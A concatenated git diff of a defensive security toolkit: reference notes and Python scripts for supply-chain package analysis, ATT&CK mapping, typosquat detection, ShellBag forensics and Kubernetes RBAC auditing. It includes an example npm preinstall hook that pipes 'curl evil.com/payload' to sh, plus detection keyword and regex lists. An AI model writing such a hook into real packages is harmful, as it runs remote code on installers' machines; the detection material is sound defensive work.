| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
| Base64 in install scripts | HIGH | Obfuscated payload |
| Recently created package | MEDIUM | New package mimicking popular name |
| Single maintainer | LOW | Bus factor risk |
## Sigstore/cosign Verification
### Verify Container Image
```bash
cosign verify --certificate-identity-regexp=".*" \
--certificate-oidc-issuer-regexp=".*" image:tag
```
### Verify Artifact
```bash
cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
```
## SLSA Framework Levels
| Level | Requirement |
|-------|-------------|
| SLSA 1 | Build provenance exists |
| SLSA 2 | Hosted build platform, authenticated provenance |
| SLSA 3 | Hardened build platform, non-falsifiable provenance |
| SLSA 4 | Two-party review, hermetic builds |
## npm install Hook Risks
```json
{
"scripts": {
"preinstall": "curl evil.com/payload | sh",
"postinstall": "node ./install.js",
"preuninstall": "node cleanup.js"
}
}
```
@@ -0,0 +1,168 @@
#!/usr/bin/env python3
"""Supply chain malware artifact analysis agent.
Analyzes software supply chain compromise indicators including package
integrity, build pipeline artifacts, dependency confusion, and trojanized updates.
"""
import os
import sys
import json
import hashlib
import re
import subprocess
from datetime import datetime
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
def compute_hash(filepath):
hashes = {}
for algo in ("md5", "sha1", "sha256"):
h = hashlib.new(algo)
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
h.update(chunk)
hashes[algo] = h.hexdigest()
return hashes
def check_npm_package(package_name):
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = f"https://registry.npmjs.org/{package_name}"
try:
resp = requests.get(url, timeout=15)
resp.raise_for_status()
data = resp.json()
latest = data.get("dist-tags", {}).get("latest", "")
versions = list(data.get("versions", {}).keys())
maintainers = data.get("maintainers", [])
return {
"name": package_name, "latest": latest,
"version_count": len(versions),
"maintainers": [m.get("name") for m in maintainers],
}
except requests.RequestException as e:
return {"error": str(e)}
def check_pypi_package(package_name):
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = f"https://pypi.org/pypi/{package_name}/json"
try:
resp = requests.get(url, timeout=15)
resp.raise_for_status()
data = resp.json()
info = data.get("info", {})
return {
"name": info.get("name"), "version": info.get("version"),
"author": info.get("author"),
"release_count": len(data.get("releases", {})),
}
except requests.RequestException as e:
return {"error": str(e)}
def detect_typosquat_packages(target_name):
permutations = set()
for i in range(len(target_name)):
permutations.add(target_name[:i] + target_name[i+1:])
for i in range(len(target_name) - 1):
swapped = list(target_name)
swapped[i], swapped[i+1] = swapped[i+1], swapped[i]
permutations.add("".join(swapped))
permutations.add(target_name.replace("-", "_"))
permutations.add(target_name.replace("_", "-"))
permutations.discard(target_name)
return sorted(permutations)
def analyze_package_scripts(package_json_path):
with open(package_json_path, "r") as f:
pkg = json.load(f)
findings = []
scripts = pkg.get("scripts", {})
for hook in ["preinstall", "postinstall", "preuninstall"]:
if hook in scripts:
cmd = scripts[hook]
findings.append({
"type": "install_hook", "hook": hook, "command": cmd[:200],
"severity": "HIGH" if any(s in cmd.lower() for s in
["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM",
})
deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})}
for dep, ver in deps.items():
if ver.startswith("http") or ver.startswith("git"):
findings.append({
"type": "url_dependency", "package": dep,
"source": ver[:200], "severity": "HIGH",
})
return {"name": pkg.get("name"), "findings": findings}
def analyze_python_setup(setup_py_path):
with open(setup_py_path, "r") as f:
content = f.read()
findings = []
patterns = [
(r"os\.system\(", "os.system() execution"),
(r"subprocess\.", "subprocess execution"),
(r"exec\(", "exec() code execution"),
(r"eval\(", "eval() code execution"),
(r"base64\.b64decode", "Base64 decoding"),
(r"socket\.", "Network socket usage"),
]
for pattern, description in patterns:
if re.search(pattern, content):
findings.append({
"type": "suspicious_setup_code",
"pattern": description, "severity": "HIGH",
})
return {"file": setup_py_path, "findings": findings}
if __name__ == "__main__":
print("=" * 60)
print("Supply Chain Malware Artifact Analysis Agent")
print("Package integrity, typosquat detection, install hook analysis")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target:
print("
[DEMO] Usage:")
print(" python agent.py <package.json> # Analyze npm package")
print(" python agent.py npm:<package_name> # Check npm registry")
print(" python agent.py pypi:<package_name> # Check PyPI registry")
sys.exit(0)
if target.startswith("npm:"):
pkg_name = target[4:]
print(f"
[*] Checking npm: {pkg_name}")
info = check_npm_package(pkg_name)
typos = detect_typosquat_packages(pkg_name)
print(json.dumps(info, indent=2))
print(f"
Potential typosquats: {typos[:10]}")
elif target.startswith("pypi:"):
pkg_name = target[5:]
print(f"
[*] Checking PyPI: {pkg_name}")
info = check_pypi_package(pkg_name)
print(json.dumps(info, indent=2))
elif os.path.exists(target):
basename = os.path.basename(target)
if basename == "package.json":
result = analyze_package_scripts(target)
elif basename == "setup.py":
result = analyze_python_setup(target)
else:
result = {"file": target, "hashes": compute_hash(target)}
print(json.dumps(result, indent=2))
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,89 @@
# API Reference: Threat Actor TTP Analysis with MITRE ATT&CK
## ATT&CK STIX Data
### Download
```bash
curl -o enterprise-attack.json https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json
```
### STIX Object Types
| Type | Description |
|------|-------------|
| `attack-pattern` | Techniques and sub-techniques |
| `intrusion-set` | Threat actor groups |
| `relationship` | Links (group "uses" technique) |
| `malware` | Malware families |
| `tool` | Legitimate tools abused |
## mitreattack-python
### Installation
```bash
pip install mitreattack-python
```
### Query Techniques
```python
from mitreattack.stix20 import MitreAttackData
attack = MitreAttackData("enterprise-attack.json")
# Get all techniques
techniques = attack.get_techniques()
# Get group techniques
group = attack.get_group_by_alias("APT29")
techs = attack.get_techniques_used_by_group(group.id)
```
### Get Technique Mitigations
```python
mitigations = attack.get_mitigations_mitigating_technique(technique.id)
for m in mitigations:
print(m.name, m.description)
```
## ATT&CK Navigator Layer Format
### Technique Entry
```json
{
"techniqueID": "T1566.001",
"tactic": "initial-access",
"color": "#ff6666",
"score": 100,
"comment": "Spearphishing Attachment",
"enabled": true
}
```
## ATT&CK Tactic IDs
| Tactic | ID |
|--------|----|
| Reconnaissance | TA0043 |
| Resource Development | TA0042 |
| Initial Access | TA0001 |
| Execution | TA0002 |
| Persistence | TA0003 |
| Privilege Escalation | TA0004 |
| Defense Evasion | TA0005 |
| Credential Access | TA0006 |
| Discovery | TA0007 |
| Lateral Movement | TA0008 |
| Collection | TA0009 |
| Command and Control | TA0011 |
| Exfiltration | TA0010 |
| Impact | TA0040 |
## TAXII Server Access
```python
from stix2 import TAXIICollectionSource, Filter
from taxii2client.v20 import Collection
collection = Collection(
"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/"
)
src = TAXIICollectionSource(collection)
groups = src.query([Filter("type", "=", "intrusion-set")])
```
@@ -0,0 +1,155 @@
#!/usr/bin/env python3
"""Threat actor TTP analysis agent using MITRE ATT&CK framework.
Maps threat actor behaviors to ATT&CK techniques, performs coverage analysis,
and generates detection gap reports.
"""
import os
import sys
import json
from collections import Counter, defaultdict
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
ATTACK_ENTERPRISE_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json"
def load_attack_bundle(filepath=None):
if filepath and os.path.exists(filepath):
with open(filepath, "r", encoding="utf-8") as f:
return json.load(f)
if HAS_REQUESTS:
resp = requests.get(ATTACK_ENTERPRISE_URL, timeout=60)
resp.raise_for_status()
return resp.json()
return None
def get_techniques(bundle):
techniques = {}
for obj in bundle.get("objects", []):
if obj.get("type") == "attack-pattern" and not obj.get("revoked"):
ext_id = ""
for ref in obj.get("external_references", []):
if ref.get("source_name") == "mitre-attack":
ext_id = ref.get("external_id", "")
if ext_id:
tactics = [p["phase_name"] for p in obj.get("kill_chain_phases", [])]
techniques[obj["id"]] = {
"id": ext_id, "name": obj.get("name", ""),
"tactics": tactics,
"platforms": obj.get("x_mitre_platforms", []),
"detection": obj.get("x_mitre_detection", "")[:200],
}
return techniques
def get_groups(bundle):
groups = {}
for obj in bundle.get("objects", []):
if obj.get("type") == "intrusion-set":
ext_id = ""
for ref in obj.get("external_references", []):
if ref.get("source_name") == "mitre-attack":
ext_id = ref.get("external_id", "")
groups[obj["id"]] = {
"id": ext_id, "name": obj.get("name", ""),
"aliases": obj.get("aliases", []),
"description": obj.get("description", "")[:300],
}
return groups
def map_group_techniques(bundle, group_id, techniques):
ttps = []
for obj in bundle.get("objects", []):
if (obj.get("type") == "relationship" and
obj.get("relationship_type") == "uses" and
obj.get("source_ref") == group_id):
target = obj.get("target_ref", "")
if target in techniques:
ttps.append(techniques[target])
return ttps
def tactic_coverage(ttps):
tactic_map = defaultdict(list)
for t in ttps:
for tactic in t["tactics"]:
tactic_map[tactic].append(t["id"])
return {k: {"count": len(v), "techniques": v} for k, v in tactic_map.items()}
def detection_gaps(ttps, existing_detections):
covered = set(existing_detections)
gaps = [t for t in ttps if t["id"] not in covered]
coverage = 1 - (len(gaps) / len(ttps)) if ttps else 0
return gaps, round(coverage * 100, 1)
def find_group(groups, query):
query_lower = query.lower()
for gid, g in groups.items():
if (g["name"].lower() == query_lower or
g["id"].lower() == query_lower or
query_lower in [a.lower() for a in g["aliases"]]):
return gid, g
return None, None
if __name__ == "__main__":
print("=" * 60)
print("Threat Actor TTP Analysis Agent (MITRE ATT&CK)")
print("TTP mapping, tactic coverage, detection gap analysis")
print("=" * 60)
group_query = sys.argv[1] if len(sys.argv) > 1 else None
bundle_path = sys.argv[2] if len(sys.argv) > 2 else None
bundle = load_attack_bundle(bundle_path)
if not bundle:
print("[!] Cannot load ATT&CK data")
print("[DEMO] Usage: python agent.py APT29 [enterprise-attack.json]")
sys.exit(1)
techniques = get_techniques(bundle)
groups = get_groups(bundle)
print(f"[*] Loaded {len(techniques)} techniques, {len(groups)} groups")
if not group_query:
print("
--- Available Groups (sample) ---")
for gid, g in list(groups.items())[:15]:
print(f" {g['id']:8s} {g['name']}")
sys.exit(0)
gid, ginfo = find_group(groups, group_query)
if not ginfo:
print(f"[!] Group not found: {group_query}")
sys.exit(1)
print(f"
[*] Group: {ginfo['name']} ({ginfo['id']})")
print(f" Aliases: {', '.join(ginfo['aliases'][:5])}")
ttps = map_group_techniques(bundle, gid, techniques)
print(f" Techniques: {len(ttps)}")
coverage = tactic_coverage(ttps)
print("
--- Tactic Coverage ---")
for tactic, info in sorted(coverage.items(), key=lambda x: -x[1]["count"]):
bar = "#" * info["count"]
print(f" {tactic:35s} {info['count']:3d} {bar}")
sample_detections = [t["id"] for t in ttps[:len(ttps)//2]]
gaps, pct = detection_gaps(ttps, sample_detections)
print(f"
--- Detection Gaps (demo: {pct}% coverage) ---")
for g in gaps[:10]:
print(f" [GAP] {g['id']:12s} {g['name']}")
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -61,7 +61,7 @@ def normalize_to_stix(ioc_value, ioc_type, source_name, confidence=50):
pattern_type="stix",
valid_from=datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ"),
confidence=confidence,
created_by_ref="identity--placeholder",
created_by_ref="identity--f165a29e-a997-5f8a-a63b-4b72b9f2f963",
labels=["malicious-activity"],
external_references=[{
"source_name": source_name,
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,75 @@
# API Reference: Typosquatting Detection with dnstwist
## dnstwist CLI
### Syntax
```bash
dnstwist example.com # Basic scan
dnstwist -r example.com # Resolve DNS
dnstwist -r -f json example.com # JSON output
dnstwist -r -f csv example.com # CSV output
dnstwist -r --ssdeep example.com # Fuzzy hashing comparison
dnstwist -r --phash example.com # Perceptual hash (screenshot)
dnstwist -r -w wordlist.txt example.com # Dictionary-based
dnstwist --nameservers 8.8.8.8 example.com # Custom DNS
```
### Fuzzing Techniques
| Technique | Description |
|-----------|-------------|
| Addition | Append character: `examplea.com` |
| Bitsquatting | Bit-flip: `dxample.com` |
| Homoglyph | Lookalike chars: `examp1e.com` |
| Hyphenation | Insert hyphen: `exam-ple.com` |
| Insertion | Insert char: `exaample.com` |
| Omission | Remove char: `examle.com` |
| Repetition | Double char: `exxample.com` |
| Replacement | Keyboard neighbor: `rxample.com` |
| Subdomain | Insert dot: `ex.ample.com` |
| Transposition | Swap chars: `exmaple.com` |
| Vowel-swap | Replace vowel: `exomple.com` |
### Output Fields
| Field | Description |
|-------|-------------|
| `fuzzer` | Technique used |
| `domain` | Permuted domain |
| `dns_a` | A record IP addresses |
| `dns_aaaa` | AAAA record addresses |
| `dns_mx` | Mail server records |
| `dns_ns` | Nameserver records |
| `geoip` | GeoIP country |
| `whois_registrar` | Domain registrar |
| `ssdeep_score` | Fuzzy hash similarity (0-100) |
## Python Integration
### Installation
```bash
pip install dnstwist
```
### CLI via subprocess
```python
import subprocess, json
result = subprocess.run(
["dnstwist", "-r", "-f", "json", "example.com"],
capture_output=True, text=True)
domains = json.loads(result.stdout)
for d in domains:
if d.get("dns_a"):
print(f"{d['domain']} -> {d['dns_a']}")
```
## WHOIS Lookup
```python
import whois
w = whois.whois("suspicious-domain.com")
print(w.creation_date, w.registrar)
```
## VirusTotal Domain Check
```bash
curl -H "x-apikey: KEY" \
"https://www.virustotal.com/api/v3/domains/<domain>"
```
@@ -0,0 +1,99 @@
#!/usr/bin/env python3
"""Typosquatting domain detection agent using dnstwist concepts."""
import os, sys, json, socket
from datetime import datetime
try:
import dnstwist as dnstwist_lib
HAS_DNSTWIST = True
except ImportError:
HAS_DNSTWIST = False
KEYBOARD_NEIGHBORS = {
'q': 'wa', 'w': 'qeas', 'e': 'wrds', 'r': 'etfd', 't': 'rygf',
'y': 'tuhg', 'u': 'yijh', 'i': 'uokj', 'o': 'iplk', 'p': 'ol',
'a': 'qwsz', 's': 'wedxza', 'd': 'erfcxs', 'f': 'rtgvcd',
'g': 'tyhbvf', 'h': 'yujnbg', 'j': 'uikmnh', 'k': 'iolmj',
'l': 'opk', 'z': 'asx', 'x': 'zsdc', 'c': 'xdfv', 'v': 'cfgb',
'b': 'vghn', 'n': 'bhjm', 'm': 'njk',
}
def generate_permutations(domain):
name = domain.split('.')[0]
tld = '.'.join(domain.split('.')[1:]) or 'com'
results = set()
for i in range(len(name)):
results.add(name[:i] + name[i+1:] + '.' + tld)
for i in range(len(name) - 1):
s = list(name)
s[i], s[i+1] = s[i+1], s[i]
results.add(''.join(s) + '.' + tld)
for i in range(len(name)):
if name[i] in KEYBOARD_NEIGHBORS:
for c in KEYBOARD_NEIGHBORS[name[i]]:
results.add(name[:i] + c + name[i+1:] + '.' + tld)
homoglyphs = {'o': '0', 'l': '1', 'i': '1', 's': '5', 'a': '4', 'e': '3'}
for i in range(len(name)):
if name[i] in homoglyphs:
results.add(name[:i] + homoglyphs[name[i]] + name[i+1:] + '.' + tld)
for i in range(1, len(name)):
results.add(name[:i] + '-' + name[i:] + '.' + tld)
results.discard(domain)
return sorted(results)
def resolve_domain(domain):
try:
ips = socket.getaddrinfo(domain, None, socket.AF_INET)
return list(set(ip[4][0] for ip in ips))
except socket.gaierror:
return []
def check_domains(permutations, max_check=200):
results = []
for domain in permutations[:max_check]:
ips = resolve_domain(domain)
if ips:
results.append({'domain': domain, 'ips': ips, 'registered': True})
return results
def run_dnstwist_cli(domain):
import subprocess
try:
result = subprocess.run(['dnstwist', '-r', '-f', 'json', domain],
capture_output=True, text=True, timeout=120)
if result.returncode == 0:
return json.loads(result.stdout)
except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError):
pass
return None
if __name__ == '__main__':
print('=' * 60)
print('Typosquatting Domain Detection Agent (dnstwist)')
print('Permutation generation, DNS resolution, risk scoring')
print('=' * 60)
domain = sys.argv[1] if len(sys.argv) > 1 else None
if not domain:
print('
[DEMO] Usage: python agent.py <domain.com>')
sys.exit(0)
print(f'
[*] Target: {domain}')
dnstwist_results = run_dnstwist_cli(domain)
if dnstwist_results:
print(f'[*] dnstwist found {len(dnstwist_results)} permutations')
for r in dnstwist_results[:10]:
a = r.get('dns_a', [''])[0] if r.get('dns_a') else ''
print(f' {r.get("domain", "?"):40s} {a}')
else:
perms = generate_permutations(domain)
print(f'[*] Generated {len(perms)} permutations')
print('[*] Resolving domains...')
resolved = check_domains(perms)
print(f'[*] Active typosquats: {len(resolved)}')
for r in resolved[:15]:
print(f' {r["domain"]:40s} {", ".join(r["ips"])}')
risk = 'HIGH' if len(resolved) > 20 else 'MEDIUM' if len(resolved) > 5 else 'LOW'
print(f'
[*] Risk: {risk}')
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,83 @@
# API Reference: Windows ShellBag Forensics
## SBECmd (Eric Zimmerman)
### Syntax
```bash
SBECmd.exe -d <registry_dir> # Process directory of hives
SBECmd.exe --hive <NTUSER.DAT> # Single hive
SBECmd.exe -d <dir> --csv <output_dir> # CSV export
SBECmd.exe -d <dir> -l # Live system registry
```
### Output Fields
| Field | Description |
|-------|-------------|
| AbsolutePath | Full reconstructed folder path |
| CreatedOn | Folder creation timestamp |
| ModifiedOn | Folder modification timestamp |
| AccessedOn | Folder access timestamp |
| MFTEntryNumber | NTFS MFT reference |
| ShellType | Folder, network, zip, etc. |
## ShellBags Explorer (GUI)
### Features
- Tree view of folder access history
- Timeline view of access patterns
- Filtering by date range
- Export to CSV/JSON
## Registry Paths
### NTUSER.DAT
```
Software\Microsoft\Windows\Shell\BagMRU
Software\Microsoft\Windows\Shell\Bags
Software\Microsoft\Windows\ShellNoRoam\BagMRU
```
### UsrClass.dat
```
Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Local Settings\Software\Microsoft\Windows\Shell\Bags
```
## regipy (Python)
### Installation
```bash
pip install regipy
```
### Usage
```python
from regipy.registry import RegistryHive
hive = RegistryHive("NTUSER.DAT")
key = hive.get_key("Software\Microsoft\Windows\Shell\BagMRU")
for value in key.iter_values():
print(value.name, type(value.value))
```
## Shell Item Types
| Type Byte | Description |
|-----------|-------------|
| 0x1F | Root folder (GUID - Desktop, My Computer) |
| 0x2F | Volume (drive letter) |
| 0x31 | File entry (directory) |
| 0x32 | File entry (file) |
| 0x41 | Network location |
| 0x42 | Compressed folder |
| 0x46 | Network share (UNC path) |
| 0x71 | Control Panel item |
## Forensic Value
| Artifact | Intelligence |
|----------|-------------|
| Network paths | Remote share access (lateral movement) |
| USB paths | Removable media (data exfiltration) |
| Deleted folders | Evidence of anti-forensics awareness |
| Temp directories | Staging areas for tools/malware |
| AppData paths | Persistence mechanism locations |
| Recycle Bin | Awareness of deleted content |
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,55 @@
# API Reference: Kubernetes RBAC Audit
## Python Kubernetes Client
```python
from kubernetes import client, config
config.load_kube_config()
rbac = client.RbacAuthorizationV1Api()
core = client.CoreV1Api()
```
## RBAC API Calls
| Method | Description |
|--------|-------------|
| `rbac.list_cluster_role()` | List all ClusterRoles |
| `rbac.list_cluster_role_binding()` | List all ClusterRoleBindings |
| `rbac.list_namespaced_role(ns)` | List Roles in namespace |
| `rbac.list_namespaced_role_binding(ns)` | List RoleBindings in namespace |
## ClusterRole Rule Structure
```python
role.rules[0].verbs # ["get", "list", "watch"]
role.rules[0].resources # ["pods", "secrets"]
role.rules[0].api_groups # ["", "apps"]
```
## Dangerous RBAC Permissions
| Permission | Risk |
|------------|------|
| `* / *` (all verbs, resources) | Full cluster admin |
| `create` on `pods/exec` | Remote code execution |
| `get` on `secrets` | Credential theft |
| `bind` on `clusterroles` | Privilege escalation |
| `impersonate` on users | Identity spoofing |
| `escalate` on roles | Self-privilege escalation |
## Subject Types
| Kind | Description |
|------|-------------|
| User | Human user identity |
| Group | User group (e.g., system:authenticated) |
| ServiceAccount | Pod identity |
## Risky Groups
| Group | Risk |
|-------|------|
| `system:unauthenticated` | Anonymous access |
| `system:authenticated` | Any authenticated user |
| `system:masters` | Full cluster admin |
## kubectl RBAC Commands
```bash
kubectl auth can-i --list
kubectl get clusterrolebindings -o json
kubectl auth can-i create pods --as=system:serviceaccount:default:default
```
@@ -0,0 +1,110 @@
#!/usr/bin/env python3
"""Kubernetes RBAC Audit Agent - Audits cluster RBAC permissions for security misconfigurations."""
import json
import logging
import argparse
from datetime import datetime
from kubernetes import client, config
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
DANGEROUS_VERBS = {"*", "create", "delete", "patch", "update", "escalate", "bind", "impersonate"}
DANGEROUS_RESOURCES = {"secrets", "pods/exec", "pods/attach", "serviceaccounts", "clusterroles", "clusterrolebindings", "roles", "rolebindings", "*"}
def load_kube_config(kubeconfig=None):
"""Load Kubernetes configuration."""
if kubeconfig:
config.load_kube_config(config_file=kubeconfig)
else:
try:
config.load_incluster_config()
except config.ConfigException:
config.load_kube_config()
return client.RbacAuthorizationV1Api(), client.CoreV1Api()
def audit_cluster_roles(rbac_api):
"""Audit ClusterRoles for overly permissive rules."""
findings = []
roles = rbac_api.list_cluster_role()
for role in roles.items:
if role.metadata.name.startswith("system:"):
continue
for rule in (role.rules or []):
verbs = set(rule.verbs or [])
resources = set(rule.resources or [])
api_groups = rule.api_groups or [""]
if "*" in verbs and "*" in resources:
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": "Full wildcard access (*/*)", "severity": "critical", "rule": {"verbs": list(verbs), "resources": list(resources)}})
elif verbs & DANGEROUS_VERBS and resources & DANGEROUS_RESOURCES:
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": f"Dangerous permission: {verbs & DANGEROUS_VERBS} on {resources & DANGEROUS_RESOURCES}", "severity": "high", "rule": {"verbs": list(verbs), "resources": list(resources)}})
logger.info("Audited %d ClusterRoles, %d findings", len(roles.items), len(findings))
return findings
def audit_role_bindings(rbac_api):
"""Audit ClusterRoleBindings for excessive privilege grants."""
findings = []
bindings = rbac_api.list_cluster_role_binding()
for binding in bindings.items:
if binding.metadata.name.startswith("system:"):
continue
role_ref = binding.role_ref
subjects = binding.subjects or []
for subject in subjects:
if role_ref.name in ("cluster-admin", "admin") and subject.kind != "ServiceAccount":
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": f"{subject.kind}/{subject.name}", "severity": "critical" if role_ref.name == "cluster-admin" else "high", "issue": f"{subject.kind} bound to {role_ref.name}"})
if subject.kind == "Group" and subject.name in ("system:unauthenticated", "system:authenticated"):
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": subject.name, "severity": "critical", "issue": f"Broad group {subject.name} bound to {role_ref.name}"})
return findings
def audit_service_accounts(core_api, rbac_api):
"""Audit service accounts for default token mounting and elevated permissions."""
findings = []
sas = core_api.list_service_account_for_all_namespaces()
for sa in sas.items:
if sa.metadata.name == "default":
if sa.automount_service_account_token is not False:
findings.append({"namespace": sa.metadata.namespace, "service_account": "default", "issue": "Default SA auto-mounts token", "severity": "medium"})
return findings
def generate_report(role_findings, binding_findings, sa_findings):
"""Generate RBAC audit report."""
all_findings = role_findings + binding_findings + sa_findings
critical = [f for f in all_findings if f.get("severity") == "critical"]
report = {
"timestamp": datetime.utcnow().isoformat(),
"total_findings": len(all_findings),
"critical": len(critical),
"role_findings": role_findings,
"binding_findings": binding_findings,
"service_account_findings": sa_findings,
}
print(f"RBAC REPORT: {len(all_findings)} findings ({len(critical)} critical)")
return report
def main():
parser = argparse.ArgumentParser(description="Kubernetes RBAC Audit Agent")
parser.add_argument("--kubeconfig", help="Path to kubeconfig file")
parser.add_argument("--output", default="rbac_report.json")
args = parser.parse_args()
rbac_api, core_api = load_kube_config(args.kubeconfig)
role_findings = audit_cluster_roles(rbac_api)
binding_findings = audit_role_bindings(rbac_api)
sa_findings = audit_service_accounts(core_api, rbac_api)
report = generate_report(role_findings, binding_findings, sa_findings)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,53 @@
# API Reference: Adversary Infrastructure Tracking
## crt.sh (Certificate Transparency)
```
GET https://crt.sh/?q=%.example.com&output=json
```
| Field | Description |
|-------|-------------|
| `issuer_name` | Certificate issuer |
| `name_value` | SANs / common names |
| `serial_number` | Certificate serial |
| `not_before` / `not_after` | Validity period |
## URLhaus API
```
POST https://urlhaus-api.abuse.ch/v1/host/
Body: host=example.com
```
Returns malicious URLs hosted on the domain.
## ThreatFox API
```
POST https://threatfox-api.abuse.ch/api/v1/
Body: {"query": "search_ioc", "search_term": "1.2.3.4"}
```
| Field | Description |
|-------|-------------|
| `ioc` | IOC value |
| `threat_type` | botnet_cc, payload_delivery, etc. |
| `malware` | Associated malware family |
| `tags` | IOC tags |
## Pivoting Techniques
| Pivot | Method |
|-------|--------|
| Certificate SANs | crt.sh wildcard search |
| Shared IP | PassiveTotal, VirusTotal |
| WHOIS registrant | WHOIS history |
| DNS history | PassiveDNS (Farsight, CIRCL) |
| JARM fingerprint | TLS server fingerprinting |
| HTTP response hash | Favicon hash, body hash |
## Infrastructure Relationships
| Edge Type | Description |
|-----------|-------------|
| shared_certificate | Same TLS cert on different hosts |
| shared_ip | Multiple domains on same IP |
| shared_registrant | Same WHOIS registrant |
| shared_nameserver | Same NS records |
## MITRE ATT&CK
- T1583 - Acquire Infrastructure
- T1584 - Compromise Infrastructure
@@ -0,0 +1,116 @@
#!/usr/bin/env python3
